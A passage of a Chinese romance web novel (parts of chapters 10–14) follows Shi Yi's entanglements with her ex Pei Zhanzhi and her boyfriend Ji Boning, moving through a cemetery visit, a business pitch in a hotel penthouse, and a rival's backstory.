施忆刚解开浴室门,就被一股力道扯了进去,反手被压在墙上。
她从男人背后镜子,清晰看见自己白皙但狼狈的脸。
裴湛之低头咬住她耳垂,用点力,终于有了痕迹。
他满意道,“你说我现在出去,会不会很刺激?”
“我们像不像偷情。”
“你先放开我。”
裴湛之松开施忆,但依旧将她圈在臂弯里,他眉眼拢起微弱的戾气,
“让他离开,不然我直接出去给他惊喜。”
“裴湛之,你别乱来!否则我告诉赵璃。”
施忆当然是骗他的,她怎么可能给自己没事找事。
结果裴湛之俊脸满是无所谓,他不要脸“啊”了声,反而愈加逼近,施忆退无可退,胸腔里生着气,却又不敢发出声响。
怕引来季伯宁。
裴湛之见状,将渣男做派进行到底:
“正好跟她谈恋爱没意思……我还是觉得,跟你偷情比较刺激。”
“你说,我要不要跟她分手?去给你当小三。”
施忆美眸瞪大,被他不要脸的话震惊住了。
这个男人三观呢。
“有病去治,让我出去,不然他要进来了。”
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裴湛之一动不动,低头把玩她乌黑犹如鸦羽的秀发,反而漫不经心问道,“你让他亲你了?”
嗓音仔细听,带着哑意。
“他是我男朋友,这很正常。”
施忆脑海里浮起季伯宁落在她手背温柔的吻,蹙眉回答。
“那我不是你男朋友,昨晚亲你正常吗。”
“那是你强迫我!”施忆捂住他嘴,让他别再说了。
“所以,现在可以告诉我昨天发生了什么了?”
这话题转的猝不及防。
裴湛之掀起眼皮,他刚才在封闭浴室里,一直在想,她昨晚发生了什么,导致情绪失控,发起高烧。
如果是单单是因为他向她借浴室,还不至于那么夸张。
一定有别的原因。
他刚才察看了花洒,旋转按钮指向冷水,他又去看了热水闸门,是关着的。
他断定,
昨晚他来敲门之前,施忆泡了冷水。
大台风天,泡冷水?
就她那个虚弱的体质不发烧才怪,如果今天他不来,她自己烧死在家都没人知道,她就这样不爱惜自己的身体。
施忆周遭空气冷下来,一层无形薄膜将两人隔阂开,裴湛之觉得她离自己又远了一步。
裴湛之松开她,大掌轻松拎起拖把帮她洗好,然后拧干递给她,也没再追问。
“出去吧。”
施忆狐疑看他,不太相信他会这么好说话,但怕季伯宁起疑还是赶紧出去了。
没看到她背后,
裴湛之心情愉悦,长臂交叉倚在琉璃台,欣赏自己留下的杰作。
-
“怎么去了这么久。”
季伯宁已经用客厅旁边的扫把,将碎片扫进了垃圾桶。
他接过施忆手中的拖把,再平静问道。
“没事,找拖把找了好一会儿,它不知什么时候被压在角落里了。”
施忆淡定解释。
薛特助闻声快步迈进来,“先生,还是我来做吧。”
其实,他刚才听到玻璃破碎声,就要走进来清理,却被季伯宁一个凌厉的眼神制止。
他摸不着头脑,却也只能照做。
他实在揣摩不透季先生想法,就像他一直不理解……
顿时,他打了个激灵,要是让施小姐知道真相,他职业生涯估计也就到头了。
“薛特助怎么了?”
施忆见薛特助表情千变万化,五彩纷呈,不由得问道。
“啊?没什么。”
薛特助头皮发麻,赶紧弯腰把地清理干净,远离两人视野。
“时间也不早了,你刚才不是说来海城有个饭局吗?”
施忆心系浴室里面那人,生怕他出来发疯,便想着让季伯宁先离开。
“行,先走了。”
“你约好时间,我们和你要资助的女孩一起去吃个饭。”
“嗯,好。”
施忆回应。
“要不要,我把她联系方式也给你。”
施忆又提议,这样下次见面方便一些。
季伯宁回头笑了笑,
“不了,和小女孩沟通不来,你联系就行。”
季伯宁穿好皮鞋,回头附身靠近施忆脸颊,施忆以为他要吻她,季伯宁也确实要吻她,不过只是一个温柔的告别脸颊吻。
两人这些年一直没有更进一步的亲密行为,仅仅限于拥抱。
亲吻也只是礼貌性地亲脸。
季伯宁清楚,施忆的心还没有完全向他敞开。
她在封闭自己。
此刻,他却在靠近她侧脸时眼神一暗,
女人小巧白皙的耳垂上,绒毛清晰可见,赫然出现一个鲜艳暧昧的齿痕。
是男人留下的印记……
11. 墓园
·
施忆目送季伯宁离开。
她返回公寓,回到房间给裴湛之开了锁,
“现在你可以离开了。”
裴湛之没应,他盯着施忆脸打量,视线定定落在她薄红细腻的耳垂处,她皮肤极冷白,甚至可以隐约看见下方淡青色的血管。
因此,耳垂上,那道齿痕,格外明显。
裴湛之不自在别过眼。
估摸着痕迹也没消……哪里出了问题,季伯宁是没看到吗,他还真挺用力的。
还是季伯宁大度到,可以容忍自己女朋友身边,有其他男人存在。
裴湛之莫名其妙的探究让施忆浑身不自在,她刚想开口。
下一秒,男人问,
“他这就走了?”
“是的,你快离开。”
“不然我叫物业了。”
电光火石间,施忆突然意识——江南里属于裴氏地产,就算物业来也是对这个男人点头哈腰。
既然整个小区都是裴氏的,随便一间空房裴湛之想住就住,昨晚他怎么可能没有地方去。
估计短路,也是他吩咐物业故意断的,不然怎么刚好他家出事。
一件一件串起来,施忆还有什么不明白的?
昨晚根本就是裴湛之,蓄谋已久,故意为之。
想着,她骤然冷若冰霜。
“裴湛之。”
男人思绪短暂回笼,他身上还是那条深V浴巾,他闻言随意敷衍“嗯”了声,表示自己在听,思绪却仍飘在齿痕上。
“耍我很好玩吗?”
施忆被他淡然的态度刺痛。
“这么大费周章,先是玻璃碎,又是断电,美名其曰下楼借浴室。”
历经早上心惊胆战,施忆精疲力尽,她真没那么菩萨大度,藐视至亲的离去,再去与他纠缠。
爱情在她的世界里占比很小,可有可无。
她沉默不代表。
她不痛。
她不恨。
“我们放过彼此好吗。”
他们一开始就是个错误,黎芝说得对。
裴湛之沉沉看她,深如黑色漩涡快要将施忆卷进去,她又重复,他没反应,她再重复,他纹丝不动。
许久,他终于扯唇嘲弄,
“施忆,你知不知道,你当年的借口,”
裴湛之掀起眼皮,
“很烂。”
爱、钱?她倒是会找冠冕堂皇的理由,三年时间,他掏心掏肺,给钱给爱,最疯的时候。
她要伤她,他也只会温柔给她递刀,刀锋他妈还会对着自己。
而她呢,还没毕业,反手就把他甩了,转眼不过一年,迫不及待投入季伯宁的怀抱。
你厉害,施忆。
爱和不爱差别……还真他妈大。
-
裴湛之离开后,施忆在客厅坐了好一会,然后起身回房独自将卧室收拾干净。
几天后假期结束,忆禾农业正式开工,施忆先去云澜市政府开会,和徐长清见了一面。
聊到聊清水村未来规划,施忆提出引入农业技术。
徐长清点头,表示肯定。
他毫不犹豫当即推荐了时易科技——云澜农科行业顶尖。
却见施忆默不作声,以为她在顾虑成本。
“资金你不用担心,政府在科技助农方面有补贴!”
徐长清信誓旦旦,
“你只管大胆去做!”
施忆却依旧沉思,指间翻过报告一页,静静看着清水村最近收入数据,她眼底被刺痛,大家收入越来越低了。
她还要再继续拖下去吗,因为私人恩怨,对清水村弃而不顾。
既然她已经决定回来,遇见裴湛之无可避免不是吗。
她到底在痛苦什么。
都过去了,施忆。
倏然,施忆脑海里回荡黎芝冷漠的话语,动摇的心再次沉下来,寸寸变冷。
“对不起,徐主任……让我再想想。”
徐长清心底浮起疑惑。
时易科技创始人是裴家太子爷,裴湛之,难道两人有恩怨……
徐长清心里惋惜,但他也不强人所难,只是笑着让施忆尽快决定,开玩笑道下一季凤梨种植可等不了那么久。
施忆走出市政府大门。
她没有回去公司,掉头驱车去了郊区墓园。
却见墓园警卫室看门人不是先前的王大爷,换成了个陌生年轻人。
年轻人顶多20几出头,他明显不认识施忆。
却也老听起王大爷,也就是他爹,讲施忆有多好。
女人总在清明来祭拜她亲人,有次意外听说,他爹是孤寡老人,几个孩子全出省打工了,闲得慌就来这墓园工作,说道至少有“人”陪!
后来,女人每次来墓园都会陪他爹安静坐会儿,聊聊天。
“施小姐,你来啦?”
他爽快升起栏杆,给施忆放行。
施忆见警卫室换了人,探头困惑问,之前的王大爷去哪了。
“害,我爹前几天摔了一跤……”
“幸好有人在旁边,不然后果真没发想!”
“老人上了年纪就是麻烦!”
男人张嘴闭嘴就是嫌弃老人家上了年纪特麻烦,但眉眼间真切的关心骗不了人。
施忆默然。
“多谢施小姐每次来都陪老王聊天啊,他老念着您呢!”
施忆听闻只是笑笑,心底却被针扎得千疮百孔,她睫羽微颤,掩盖眼底哀伤。
如果当时老杨出事时,她在场,结果会不会不同?
她将车开进墓园,蜿蜒驶上山顶,她降下车窗,越是靠近越喘不过气,猛然,她刹住车,胳膊卸了力埋在方向盘上,死死咬唇痛哭。
墓园空寂。
冬天要到了,山顶上南迁的候鸟成群嘶鸣掠过。
后方慢慢有一辆老旧二手本田飞度出现。
车主人是个中年女性,留着时髦的大波浪,见前方路堵着,怒气冲冲推开车门下来。
什么人将车停在正中央,居然不走了!不知道这山路窄吗?
中年女人卵足劲儿刚要骂人,却见车里有个漂亮的女人在哭。
她到嘴边的脏话,顿时生生给憋回了肚子里。
算了……也是个伤心人,大家都不容易。
“学姐……?”
林白译身上穿着澜高校服,扎着整洁的学生马尾,怀里一束纯白百合花,上面露水晶莹,她讶异出声。
“你俩认识?”
中年女人回头朝林白译疑惑问。
“小姨,这是施忆学姐,我们澜高的校友,学姐准备资助我。”
林白译眼睛闪亮,朝小姨介绍。
罗瑛娟看得出来,她外
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甥女真的很喜欢车里这个女人。
施忆学姐昨天刚联系了她,说要找个时间请她吃饭,聊聊助学还有专业选择的事。
施忆整理好情绪抬头,她没料到会在墓园撞见林白译,她说了声抱歉,说道会立马把车开走。
“没事没事!”
林白译又小心翼翼担忧:“学姐,你还好吗?”
“没事,就是山上风有些大,沙子进眼睛了,处理了一下。”
施忆解释,她突然想起今天是工作日,林白译没去学校吗。
“学姐,我请假了,我来祭拜我……”
“行了行了,别聊了。”
林白译还没说完,小姨将她拉走,转头对施忆说道,
“谢谢施小姐资助我家白译,我们有急事,白译也是请假出来的,要赶快回去上课,她高三了耽误不了,施小姐先把车移开行吗?”
施忆闻言不再多问,她将车拐弯向左边开去。
路终于空出通道来,罗瑛娟将车开走,拐进右道,两辆车分道扬镳。
二手本田飞度里,罗瑛娟瞥了眼后视镜,那女人已经不见了踪影,估计开走了。
她侧头问副驾驶座上林白译,
“既然她是你学姐,你们什么时候认识的?”
“校庆上,学姐坐我旁边。”
“那她有跟你说什么吗?或者反应奇怪吗。”
罗瑛娟不经意再问。
林白译想了想,她第一眼盯着我出神了好一会。
“对了,学姐说我的的眼睛,跟她很像,可能我们也有缘分吧。”
罗瑛娟心一惊。
确实很像,她刚才在那漂亮女人抬眼的第一眼就震惊住了。
实在太像了!
她还以为看见了……罗曼。
她死去的女儿。
罗瑛娟侧眸看向林白译,林白译自小就和她女儿罗曼长得七分像,尤其是眼睛,这几年随着林白译张开,她越来越像表姐罗曼了,有时候,她作为亲生母亲也会恍神。
但罗瑛娟没想到,
有个陌生女人,她居然拥有和林白译,和罗曼一样的琉璃眼睛。
也许只是巧合。
罗瑛娟想。
-
施忆在老杨墓前坐了很久,看着小老头出神。
老杨真狠心,一次也不来梦里看她,她好想问问他,她到底该怎么办?
风声依旧,温柔吹过施忆鬓边的刘海,一只蝴蝶落在她手上。
小时候,老杨跟她说过,蝴蝶是去世的人化成的,所以她小时候总害怕蝴蝶。
现在,施忆抬手,轻轻拂过蓝蝴蝶一翅,她慢慢垂睫,
轻声问:
“老杨,我的决定对吗?”
和时易科技合作,让那个男人再次进入她的生活。
可是,她没办法,她要救清水村,大家都在等她,梁叔在等她,凤梨地在等待科技新鲜的血液。
她只能赌一把,赌引入智能种植系统后后,凤梨基地能够迎来新生,清水村的村民们能够富起来。
赌她和裴湛之……再也没可能。
他们,也只能是合作的关系。
……
施忆下山开车回到公司后,立马给徐长清打了电话。
她决定和时易科技科技合作。
徐长清惊讶,她居然这么快就决定好了?
12. 顶层
·
“你真的决定要和他合作啊?!”
会议室内,空调冷气开得足,云飘雾绕,像百年冰窖,苏叶全身立起鸡皮疙瘩,震惊道。
一场2小时超长工作报告开完,其他人都散出会议室。
只余施忆和苏叶两个人继续留在里面讨论。
施忆眼波未泛,语气轻飘飘,
“嗯,决定好了。”
“裴狗真卑鄙,其他科技公司不愿意和我们合作估计就是他搞得鬼!我就说他不会轻易放过你。”
苏叶眉峰横七竖八,咬牙切齿骂道,恨不得把裴湛之大卸八块。
施忆倒很平静。
时易科技是云澜最好的农业科技公司,产品技术有保障,如果能和他合作,对她们公司来说是很好的结果。
“只是……万一裴湛之不愿意跟我们合作呢?”
施忆飞快敲键盘的修长冷白的手微顿,她垂睫。
她已经明确拒绝他了。
现在她再去找他合作,无疑是打脸。
“叶子,你帮我联系一下时易科技负责人,说我想找他们总裁商量合作的事。”
施忆这几天持续调研了云澜各市县的农业科技普及率,还有时易科技的市场占有率。
只要他愿意见他,她有信心用数据说服他。
17层办公楼忆禾农业针落可闻,施忆最后一次检查好合作PPT的放映展示情况,确定无误后,她合上电脑,收进电脑包。
施忆关灯,走出办公室,迎面碰上苏叶,她手里夹拿张纸条。
欲言又止。
“发生什么了?”
苏叶深舒口气才道:
“裴湛之要你加他私人手机号码和微信,强调……只跟你谈。”
她心里焦虑死了:“忆宝,我敢肯定,只要你找他,他百分之一万会刁难你!”
施忆淡定接过纸条收好,让她早点下班,自己来解决这件事就好,不要担心。
既然裴湛之是冲着她来的,
那也只能由她去解决。
CBD停车场。
施忆摁了一下车钥匙,“咔哒”,智能车门自动解锁。
她弯腰坐进去,随意把电脑包放在旁边,余光注意到副驾驶座上有一条黑色定制西装外套。
——是季伯宁那天落下的。
按理说,送西装这种小事让薛特助来她家取就好,但季伯宁笑道不急,坚持要她亲自送去澜庭。
他下榻的酒店。
施忆看了一眼时间,20:01。
还早。
她给季伯宁发去微信,
[现在在澜庭吗,我去给你送衣服。]
良久,微信平静,季伯宁还没回。
施忆心底升起淡淡疑惑,眉头拢起担忧他每次都是秒回。
她转而给薛特助打电话,那边很快接通。
电话里传来风声,大且空,像在山顶。
薛特助解释道:“老板现在饭局上,手机可能关机了。”
施忆无疑。
海城不少高级私人餐厅都选址在西郊区凤凰山顶,面临大海,风景怡人,是商谈的首选。
西郊到市中心城区20公里,况且不知道饭局何时结束,季伯宁回到酒店,估计也要深夜了。
施忆只好作罢。
她正要扯出西装收好,压在上面的电脑包从座位上摔了下去,拉链没拉,电脑顺势丝滑掉出来,施忆捡起电脑,却看见下面压着一张字条。
车顶冷白灯光明灭,清晰照亮上面的内容。
手机号:19107181220。
vx:Fzhanz18
裴湛之的。
施忆眼底眸色微漾,手顿住,一会儿,她重新拿出手机,点开微信搜索联系人,一个头像跳出来。
全黑。
裴湛之换头像了。
很快施忆反应过来,他放下了,所以换掉了高中那个与她有关的古早头像。
犹豫半响,她备注施忆二字发送好友申请。
裴湛之秒通过。
“我通过了你的好友验证请求,现在我们可以开始聊天了。”
施忆点开输入框。
突然后头喇叭鸣声,一个大哥车主探头出来喊道:“美女,你往前移点位置,我车开不出来,待会蹭到你了啊。”
施忆将手机收进毛绒外套,握住方向盘,对着后视镜移车。
“谢了啊,美女!”
终于移好车,施忆再次拿出手机,清丽的脸上倏然出现了碎裂的痕迹,她手抖往上滑动屏幕。
聊天界面:
Eleven:
[老公,爱你呦](猫咪卖萌jpg.)
[老公,爱你呦](猫咪卖萌jpg.)
[老公,爱你呦](猫咪卖萌jpg.)
……
[老公,爱你呦](猫咪卖萌jpg.)
Z:?
Eleven:
[老公,爱你呦](猫咪卖萌jpg.)
[老公,爱你呦](猫咪卖萌jpg.)
[老公,爱你呦](猫咪卖萌jpg.)
[老公,爱你呦](猫咪卖萌jpg.)
Z:。
施忆眼前一黑。
她都发了些什么??????啊啊啊啊啊啊!!!!!
冰凉夜风灌进车内,施忆陡然清醒——她手机刚才没灭屏,放在口袋里误触了!
她现在有种拉黑裴湛之的强烈冲动。
还要再把手机强制关机,扔到灌木丛里。
救命。
可爱猫咪表情包是苏叶发给她的。
苏叶一向喜欢用一些奇怪、色色的表情包轰炸她。
上次她见这张表情包,很像她大学时捡到后面又丢了的布偶猫,便动心保存下来。
结果现在误发给了裴湛之。
施忆咬唇强迫自己冷静下来,尽管脸色烧热得熟透,红得像烂掉,她讨厌的番茄圣女果。
她决定装聋做哑,全当没发生过,毕竟裴湛之也清楚,她不可能给他发这种亲密暧昧的消息。
心知肚明的事,
就没必要解释了。
施忆点开文件传输助手,将合作PPT方案转发给Z。
试图将话题转移过去。
(忆禾农业有限公司经营报告及海城农业技术推广普及率调研情况ppt.)
[裴总,这是我们公司的介绍以及合作方案展示。]
-
澜庭88层,顶级平层,
格调内敛雅致。
裴湛之放在手中的红酒杯,透明酒杯里82年的宝石红色的赤珠霞摇晃,森林雪松的气息浓郁醇厚,他目光淡淡垂落在桌面一旁的屏幕上。
商东升在口若悬河,声调却慢慢弱下来。
他瞧这位太子爷眸光片刻不离手机屏幕……估计压根没听他讲。
但他刚才也捕捉到太子爷眼底一闪而过亮起的
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浮光。
那是他心情好的表现。
这让他又有了信心!
裴湛之见他停下来,懒懒抬眸,
“你继续。”
“我们公司……”
施忆再次收到裴湛之发来的消息,已经是10分钟后,冷风已经将她的脑子彻底吹醒。
Z:看见了。
施忆看着屏幕沉思,把握不准,这个男人是指看到了表情包,让她别装傻。
亦或是表示已经接收并察看了她发的PPT文件。
她无比希望是后者。
但下一秒,男人无情彻底打破她的美好幻想。
Z:骚扰我?
施忆莫名觉得,以他傲慢的性格,他想说的是……暗恋我?
换一种表述就是,你是不是对我还有想法?
施忆脑海里浮现,那天她决绝的、斩钉截铁的“我们放过彼此。”
脑海里只剩下一个想法:
他们绝对不能再纠缠,她绝对不能对裴湛之释放任何他们还有可能的信号。
她删删改改,最终发出自认为很合理解释。
四个大字,简洁明了。
[发错人了。]
发、错、人、了。
裴湛之神情倏然冷若冰霜,眼皮垂着,视线落在手机屏幕上,鸦黑睫羽在优越饱满的卧蚕底投下一片阴影。
寒意四起。
商东升猛然打了一个哆嗦。
他口干舌燥讲了一晚上,太子爷好不容易态度松动,现在看这表情,估计今晚全白干……
倾刻,商东升听见男人薄唇微启,眼神锐利朝他飞来,“压价百分之10?”
商东升底气虚,
他不敢应,
裴湛之掀起眼皮,腔调不紧不慢,
“商总在我这引进设备压价10%,美名其曰降低成本提高农户收入……”
语调陡然一转,
“油水最后到了哪,你自个儿比谁都清楚。奉劝一句,做人做事,有点良心。”
裴湛之说完,拇指弹掀开银火机盖,叼根烟咬住,附颈低头拢火点烟,猩红火光在他眸光中跳跃明灭。
烟雾上升,他随手将打火机一丢,
“唐特助,送客。”
-
滨海南路,云澜市中心晚高峰,最拥堵的一条交叉路口,每晚各色各样的轿车像热饺子一样相继下锅。
施忆刹车时,正好碰巧撞上最长3分钟180秒的漫长红灯。
只能等。
车内,她握紧方向盘,注视前方小心察察路况。她才回来不到三个月,车是上周刚提的,对云澜交通陌生,上次就不小心刮蹭到了隔壁道的车。
一条细微划痕,情况并不严重,但足以让施忆心有余悸。
信号灯倒数最后30秒,
她搁置在中控台上,安静躺着的手机屏幕猝不及防亮起,
“滴滴”接连跳出两条微信消息。
Z:澜庭顶层8801。
Z:过时不候。
裴湛之什么意思,让她带着方案去见他?
这么晚了,孤男寡女去酒店?
难道就非得今晚吗?
施忆秀美微蹙,抿紧唇。
绿灯亮起,前方车辆陆续开动,马上就轮到她,她必须现在做出决定。
前辆车开走,
夜色浓稠得化不开,施忆迅速切换导航,将方向盘利落左转,
那是开往澜庭的方向。
13. 苦涩
·
施忆还是第一次来澜庭。
澜庭坐落在云澜东区海岸线,外型酷似两艘帆船,被俗称“帆船酒店”,最高达88层,整个海城最高的建筑,也是地标。
当之无愧的顶级酒店,就连普通套房一晚就得花费几十万。
施忆不懂老钱人的乐趣。
简直在烧钱。
唐特助在酒店门口等施忆,等她到后,他领在前头,带她乘专属电梯直达顶层88楼。
裴湛之的专属平层。
站在比她家客厅还宽敞的电梯里,施忆再一次,直观感受到了裴湛之的财富和贵不可言。
她眼睫微颤,听到唐特助解释,
“施小姐,裴总明天出差为期一周。所以,只有今晚有时间和贵公司洽谈。裴总的时间也是挤出来的。”
施忆闻言脸色缓下来。
她还以为裴湛之故意选在这么晚的时间。
不是就好。
澜庭顶层最大片落地窗,足以睥睨整个云澜。
夜晚巨浪汹涌拍打海岸,皎洁月光洒在一望无际海面上波光粼粼,宛若剔透珍珠闪烁。
低调奢华的琉璃吧台上开的红酒杯没关上,醇厚浓郁酒味令人微醺。
与置身仙境无异。
施忆现在好像能够理解澜庭一晚最便宜也十几万了。
唐特助悄悄退了出去。
施忆找个位置坐下来将电脑开机,将ppt调到放映模式,她不需要草稿,内容早已烂熟于心。
专注间,一道倾长身影迈进视线,他身上穿着考究的黑色西装,裁剪利落的西装裤包笔直长腿。
施忆抬眸。
裴湛之姗姗来迟,深色西装衬得他肤色愈加冷白。
他随意一坐,抬表垂睫看了眼时间,漠声:
“你可以开始了。”
“10分钟。”
没有任何多余的废话,似乎连看她都嫌浪费时间。
“好。”
施忆将ppt切换到第一页,语气不疾不徐从容开讲。
逻辑清晰有条理。
“在云澜市10个县城中,农业基地引入技术率约35%,其中时易科技市占率高达56%。”
她先淡淡赞扬肯定了一通时易科技目前傲人的行业地位。
再继续开口,
“技术覆盖率最高的县城为原中县约63%;而最低的为清林县仅17%。”
施忆手中的笔圈在百分之17这个数据上,轻轻敲了一下,
“据我调研,清林县原属于省重点贫困县,农民人均收入不高,所以技术普及率最低。”
“当然这不是重点。”
她话峰一转,将ppt切换到下页,
“如果时易科技愿意合作,忆禾农业将是贵公司抢占清水县市场的突破口。”
“你为我提供先进的智能种植系统,而我助你打开市场。
“这次合作对我们都是双赢。”
施忆终于说完。
男人慵懒坐在沙发上,整个过程未置一词,八风不动。
施忆以为他会提问ppt的内容,结果裴湛之嗤笑一声。
“我记得有人前几天才说放过彼此,怎么?”
裴湛之抬眸,
“这是后悔了?”
施忆早已料到会有这出,她密不透风回答,“裴总,我们只是简单的合作关系。”
“哦?我还以为一个小时前施小姐故意给我发那种消息,再说发错人,是想引起我注意。”
男人刻薄嘲讽。
“看来是我误会了。”
落地窗外海风猎猎,裴湛之挑明直接直击重点,
“据我所知,清水村接连亏本,我怎么能确定自己投入的资金不会打水漂?”
“还有,贵公司作为初创公司,付得起设备费用吗。”
施忆镇定反问,
“裴总,这是对自己公司的设备技术不自信?
言下之意,裴湛之在担心智能种植系统没发挥作用,就算清水村引入技术了还是照样亏本。
裴湛之哑然。
他冷笑几声,“施小姐果真是好口才!”
百米平层高耸入云,施忆依稀可以听见巨浪搁浅在岸上。
她一言不发。
沉默几秒开口,
“裴总,我只是不希望因为私人恩怨,这么好的合作机会被迫流产。”
“如果合作能够成功,
对整个海城农业技术的推广价值都是巨大的。”
“也可以助力乡村振兴。”
施忆没有把握裴湛之是否会动容,他不像有理想有信念的接班人。
给万恶的资本家上人生价值,无异于对牛弹琴。
但施忆还是做了。
赌他也许……还没有彻底丧失理想信念。
裴湛之像是看穿她内心一样,眼睛直勾勾射.过来,
“你在心里骂我。”
“裴总说笑了,我是真心想和贵公司合作。”施忆不卑不亢回应。
一波浪潮拍打汹涌上岸。
82年赤珠霞红酒的味道愈来愈清晰浓郁。
裴湛之起身,他走到琉璃台前,整个大平层黑白灰冷色调,就那处有点橙黄暖光低低坠落。
施忆从背后看过去,男人肩线平直锋利,西装下的脊背挺拔如青松。
她想起刚回来时,唐特助透露,裴湛之今晚的时间是挤出来的。
说明他有合作意愿。
心底把握升到七分。
施忆唇瓣微启,刚要出声,平层专属电梯打开的声音,再仔细听,高跟鞋踩在绒地毯上沉闷作响。
越来越近。
施忆秀美微拧,心提起来,这么晚了裴湛之还约了其他人吗。
“阿湛,你的领带……施忆?”
赵璃突袭。
估计是查岗。
此刻,她撞见施忆在这,脸色微变,吃惊道。
再下一秒,施忆看见她尴尬转向裴湛之,
“湛之哥,你领带掉我家里了。”
又一个掉东西的。
她和季伯宁。
他和赵璃。
施忆抬眼去看裴湛之。
男人朗颜冷淡,眉眼深邃,没骨头似的倚在琉璃吧台上,大长腿随意支着,态度寡淡,丝毫没有要解释的想法。
他就算深夜被女朋友撞到,和“前女友”在酒店也淡然处之。
这样看来,
他和赵璃感情稳定,赵璃对他也很放心。
如此,施忆也没必要在意了。
他们俩怎么样与她无关,她身正不怕影子斜。
也不是他们play的一环。
“既然裴总女朋友来了,我就先行告辞,不让赵小姐误会了,合作的事情还是希望裴总再认真考虑。”
施忆整理电脑起身,成功错过赵璃眼中一闪而过的错愕。
赵璃很快反应过来,
施忆把她错认为了,湛之哥的女朋友……
她心底漫起无边苦涩,
裴湛之估计拿自己当让施忆吃醋的工具。
她一时不知该哭还是该笑。
施忆走到门口,顿住脚步。
电梯门打不开。
“施忆,我送你下楼……这个专属电梯需要密码。”
施忆点头。
赵璃熟练输入密码,她看起来经常来,这个顶级平层,所以对这很熟悉,是女主人送客的语气。
电梯里,沉默无声,
赵璃率先开口打破僵局,“抱歉,施忆。”
施忆知道她在说什么,她没打算原谅。
“虽然迟到了10年,真的非常抱歉!我真不知道会发生那种意外。”
赵璃染上哭腔,她眼尾潮红。
“如果知道,我肯定不会……”
和黎芝一模一样的话术。
施忆清冷打断她,眸底平静如潭:“赵小姐现在道歉有何意义?”
“如果实在愧疚,恳请别再来打搅我的生活,足矣。”
电梯门打开,
施忆率先迈步出去,徒留赵璃脸色灰败惨白僵在原地宛若雕塑。
原来,黎姨又去找施忆了……
-
从小赵璃就喜欢裴湛之,
两人青梅竹马一个大院长大。
她四岁那年,隔壁院子前驶进一辆低调的奥迪A8。
车门打开。
一个身着黑色工装裤脚踩马丁靴,眉眼冷拽的,比她大不了多少的男孩子率先跳下车。
浩浩荡荡搬进这片最大最漂亮,还带花园的房子。
她妈妈宋修萍温柔跟她说,
他是裴总司令的亲孙子,裴湛之哥哥,以后长大后你要嫁给他哦。
两人从小就定下了娃娃亲。
赵璃爷爷是裴总司令最欣赏的兵,亲自提拔上来的。
赵璃还小,不懂什么是嫁。
但从此她
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眼里再也容不下其他男孩子。
裴湛之是他们这群大院孩子中,头脑最聪明灵活,也是最桀骜肆意混蛋的。
她哥赵竟和裴湛之玩得好,赵竟去哪都会带上她。每次她得知要和她哥出去玩,都会提前一个星期开心。
因为又可以见到裴湛之了。
她会准备最漂亮的公主小裙子,戴上精心准备的小蝴蝶发卡。
像个小公主。
裴湛之从小没少被裴总司令拿鞭子抽。
最严重的一次。
他死命揍了一个,言语调戏她,撕破她白纱裙、还抓伤她脸,性格恶劣,老是给和他们那群人使坏,的某局长家独生子。
那独生子仗着家里溺爱,小小年纪无恶不做。
他骂14岁的赵璃:
“就一个倒贴给裴家的童养媳哈哈哈哈,打扮这么骚又去勾引裴湛之了哈哈哈!”
那人被裴湛之打完,在军区医院整整躺了几个星期。
后面又一瘸一拐拄了好几个月拐杖才好,碰到裴湛之跟耗子见了猫一样。
裴总司令年轻时,真刀真枪杀过人,军人气血铁骨铮铮,下起手来毫不手软。
几十鞭下去,少年稚嫩的皮肤瞬间皮开肉绽,裴湛之忍得汗如雨下,骨头硬得愣是一声不吭。
结束后,凶狠撂下一句:
“让那傻逼,去给赵竟他妹道歉。”
裴总司令一听更来劲了,看来他还不服气,继续抽。
第二天,那局.长亲自绑着自己孩子来给赵璃道歉了。
裴家位子压他们几个头。
人家打孩子是出于家风礼数,不代表人家心里认为自己错了,裴家那位子怎么都是对的,你不服不行。
赵璃就躲在那棵大院里的百年花梨树下掉眼泪。
胖胖的沾满眼泪的脏手也毫无顾忌往公主裙上抹。
裴湛之从小性子傲,什么人都入不了他的眼。
那一刻,赵璃幸福开心地想,或许湛之也是喜欢自己的。
直到升高一那年,她才知道自己大错特错。
施忆猝不及防出现了。
一个从贫困县考上来的贫困生。
她素面朝天,高冷清丽,简简单单随手扎起的低马尾,清瘦的身上再普通不过的蓝色校服,抱着本书从窗外施然路过。
裴湛之那么高傲的少年几乎对她一见钟情,热烈地喜欢上了她。
从此眼睛里再也容不下别人。
施忆什么都不用做,不需要像她一样花几个小时每次精确到头发丝,打扮成漂亮的小公主。
她光站在那里,裴湛之就会飞蛾扑火般爱她。
拼命燃烧自我。
原来他不是性子冷,只是没遇到那个对的人。
爱情是没道理可言的。
施忆出现,她输得一败涂地。
赵璃没见过裴湛之那么温柔的一面,把施忆捧在手心怕摔了,含在口中怕化了。
那次只是因为施忆一句无心说出口的热,他转眼回去求裴总司令,以慈善的名义给全校捐了空调。
但目的为谁,
众人心照不宣。
他对施忆的偏爱从来毫无掩饰,明目张胆,恨不得把全世界捧到她面前,只为换她个笑颜。
他会为施忆推掉所有公子哥组局的聚会玩乐,乖乖陪她再在教室学习。
他真的在为施忆“改邪归正”。
在施忆之前,为爱从良这个词出现在裴湛之身上简直天方夜谭。
他桀骜肆意,皮开肉绽也不吭声的人,却甘愿为施忆俯首称臣。
从那以后开始,赵璃可以见到裴湛之的机会骤减。
她阴暗嫉妒苦涩像小丑般窥视这这一切,她很痛苦。
她变得快不像自己了。
她在爱情里面目全非,全然没有大家闺秀的温婉阔达。
纵使如此,
赵璃仍保留微弱的庆幸。
因为相较裴湛之的狂热,施忆明显对裴湛之很冷淡,她始终无动于衷,乃至漠然拒绝。
赵璃开始期盼施忆不要喜欢上他,把她的少年归还给她。
直到高二那年中秋,黎芝邀请黎赵两家人一起聚会,一切从那时候开始,陡然走向悲剧。
她毁了施忆,也斩断了她与裴湛之的所有可能。
她心怀愧疚,却连告诉裴湛之真相的勇气都没有,怕他恨她。
赵璃真的不敢。
等一切真相大白,她该怎么办。
14. 真相
·
高二那年中秋。
黎芝邀了两家聚餐,裴老爷子年纪大了没出席,就两家家长,还有三个孩子。
席至中间,两家融洽讨论起政.治局势,赵璃默不作声,乖巧旁听。
赵竟带上耳机打游戏,裴湛之低头懒懒给施忆发消息。
Z:这周末你回家吗。
对面没回。
Z:淘到一个耳机,音质清晰,对练听力有好处。
施忆从小在农村上学,英语启蒙晚,多是应试教育,农村老师口语也不行,所以她英语口语几乎是一塌糊涂的程度,导致听力发音也跟着辩不清。
裴湛之眼睫垂着,等了好一会,对面还是没回。
活脱脱宛若深宫里苦苦等待帝王宠幸的裴美人。
“阿湛给谁发消息呢,这么专注?”
